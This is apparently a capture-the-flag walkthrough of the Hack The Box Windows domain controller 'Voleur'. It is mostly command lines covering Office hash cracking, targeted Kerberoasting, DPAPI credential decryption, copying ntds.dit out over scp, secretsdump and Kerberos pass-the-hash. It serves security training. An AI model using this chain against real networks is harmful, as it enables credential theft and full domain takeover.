Voleur
Starting with low-privilege domain credentials, a password-locked Excel file on an SMB share is cracked to reveal service account credentials, a WriteSPN misconfiguration enables targeted Kerberoasting of the WinRM account, and a shell is obtained as svc_winrm for the user flag.
Overview
Voleur is a medium-difficulty Windows Active Directory machine where NTLM authentication is disabled domain-wide, forcing Kerberos for everything. The attack chain begins with cracking a password-protected Excel file found on an SMB share, reading plaintext service account credentials from it, then exploiting a WriteSPN ACE to targeted-Kerberoast the WinRM service account and crack its hash for initial access. Lateral movement runs through AD Recycle Bin object restoration, offline DPAPI credential blob decryption, and an SSH private key left in a file share — landing in a WSL Ubuntu instance on port 2222 whose mounted Windows filesystem exposes a pre-made ntds.dit backup, which offline secretsdump converts into the Administrator NT hash for a Kerberos pass-the-hash login.
Machine Matrix
Heavy real-world AD misconfigurations drive the chain — credentials in shared spreadsheets, unreviewed ACEs, DPAPI blobs in archived profiles, and a WSL ntds.dit backup — with no CVE and minimal custom code, making this one of the most realistic medium boxes in the platform.
Recon
| Port | Service | Notes |
|---|---|---|
| 53/tcp | DNS | Domain: voleur.htb |
| 88/tcp | Kerberos | KDC — NTLM disabled |
| 135/tcp | MSRPC | |
| 139/tcp | NetBIOS | |
| 389/tcp | LDAP | DC=voleur,DC=htb |
| 445/tcp | SMB | Kerberos-only auth |
| 464/tcp | kpasswd | |
| 593/tcp | RPC-HTTP | |
| 636/tcp | LDAPS | |
| 2222/tcp | SSH | WSL Ubuntu instance |
| 3268/tcp | LDAP GC | |
| 3269/tcp | LDAPS GC | |
| 5985/tcp | WinRM | Windows Remote Management |
| 9389/tcp | ADWS | AD Web Services |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389 -sC -sV -Pn 10.10.10.X
The DC runs on a single host with Kerberos mandatory; port 2222 running SSH on a Windows Domain Controller immediately hints at a Windows Subsystem for Linux installation, and the full AD port spread confirms this is the only machine in scope.
Enumeration
Before anything else, sync your clock and configure Kerberos — without clock sync, every TGT request will fail:
1
2
echo "10.10.10.X DC.voleur.htb voleur.htb DC" | sudo tee -a /etc/hosts
sudo ntpdate 10.10.10.X
With the starting credentials ryan.naylor:HollowOct31Nyt, obtain a TGT and enumerate SMB:
1
2
3
impacket-getTGT voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.10.10.X
export KRB5CCNAME=ryan.naylor.ccache
impacket-smbclient -k [email protected] -no-pass
Inside smbclient, the IT share is readable and contains a password-protected Excel file:
1
2
3
use IT
cd "First-Line Support"
get Access_Review.xlsx
Extract the document hash and crack the weak password:
1
2
office2john Access_Review.xlsx > xlsx.hash
john xlsx.hash --wordlist=/usr/share/wordlists/rockyou.txt
The password cracks as football1. Decrypt and dump the spreadsheet contents:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 -c "
import msoffcrypto, io, openpyxl
with open('Access_Review.xlsx','rb') as f:
enc = msoffcrypto.OfficeFile(f)
enc.load_key(password='football1')
dec = io.BytesIO()
enc.decrypt(dec)
dec.seek(0)
wb = openpyxl.load_workbook(dec)
for s in wb.sheetnames:
ws = wb[s]
for row in ws.iter_rows(values_only=True):
if any(v for v in row): print(row)
"
The spreadsheet exposes three accounts in plaintext: svc_ldap:M1XyC9pW7qT5Vn, svc_iis:N5pXyW1VqM7CZ8, and todd.wolfe:NightT1meP1dg3on14.
Foothold
Get a TGT for svc_ldap and run a targeted Kerberoast — svc_ldap holds a WriteSPN ACE on svc_winrm, which allows adding a Service Principal Name to that account and requesting a crackable TGS ticket:
1
2
3
impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.10.X
export KRB5CCNAME=svc_ldap.ccache
python3 targetedKerberoast/targetedKerberoast.py -d voleur.htb --dc-host dc.voleur.htb -u [email protected] -k
Crack the resulting TGS-REP hash with hashcat:
1
hashcat -m 13100 svc_winrm.hash /usr/share/wordlists/rockyou.txt
The hash cracks to AFireInsidedeOzarctica980219afi. Obtain a TGT and connect via WinRM:
1
2
3
impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.10.X
export KRB5CCNAME=svc_winrm.ccache
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
User flag
1
Get-Content C:/Users/svc_winrm/Desktop/user.txt # HTB{...}
Shell obtained as svc_winrm and the user flag is ours.
Privilege Escalation
Lateral to todd.wolfe via AD Recycle Bin
The svc_ldap account belongs to a group with rights to restore deleted AD objects. Upload RunasCs.exe to the WinRM shell, generate a base64-encoded Restore-ADObject command, and run it in svc_ldap’s context:
1
python3 -c "import base64; print(base64.b64encode('Restore-ADObject \"CN=Todd Wolfe\\\\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb\"'.encode('utf-16-le')).decode())"
1
./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -EncodedCommand <b64>"
With todd.wolfe restored, authenticate with the password from the spreadsheet and access the archived SMB profile to retrieve DPAPI credential files:
1
2
3
impacket-getTGT voleur.htb/todd.wolfe:'NightT1meP1dg3on14' -dc-ip 10.10.10.X
export KRB5CCNAME=todd.wolfe.ccache
impacket-smbclient -k [email protected] -no-pass
1
2
3
4
5
use IT
cd "Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials"
get 772275FAD58525253490A9B0039791D3
cd ..\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110
get 08949382-134f-4c63-b93c-ce52efc0aa88
Decrypt the DPAPI masterkey using todd.wolfe’s known password, then decrypt the credential blob:
1
2
impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password 'NightT1meP1dg3on14'
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
The credential blob decrypts to jeremy.combs:qT3V9pLXyN7W4m.
Lateral to jeremy.combs and SSH key recovery
1
2
3
impacket-getTGT voleur.htb/jeremy.combs:'qT3V9pLXyN7W4m' -dc-ip 10.10.10.X
export KRB5CCNAME=jeremy.combs.ccache
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
Inside the shell, jeremy.combs has access to C:\IT\Third-Line Support\ which contains a raw SSH private key for svc_backup:
1
download 'C:/IT/Third-Line Support/id_rsa'
PrivEsc via WSL ntds.dit backup
The SSH key connects to a WSL Ubuntu instance on port 2222, which mounts the Windows filesystem at /mnt/c/. A backup directory accessible to svc_backup holds a complete copy of ntds.dit, SYSTEM, and SECURITY:
1
2
chmod 600 id_rsa
ssh -i id_rsa [email protected] -p 2222
Exfiltrate the backup files from the attacker machine:
1
2
3
scp -i id_rsa -P 2222 "[email protected]:/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ./ntds.dit
scp -i id_rsa -P 2222 "[email protected]:/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" ./SYSTEM
scp -i id_rsa -P 2222 "[email protected]:/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" ./SECURITY
Run offline secretsdump to extract all NT hashes:
1
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
The Administrator NT hash is recovered. Use it for a Kerberos pass-the-hash login — this works even with NTLM disabled because the AS-REQ pre-authentication uses the NT hash as the key derivation input:
1
2
3
impacket-getTGT voleur.htb/administrator -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.10.X
export KRB5CCNAME=administrator.ccache
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
Root flag
1
Get-Content C:/Users/Administrator/Desktop/root.txt # HTB{...}
Administrator shell obtained via Kerberos pass-the-hash — full domain compromise confirmed.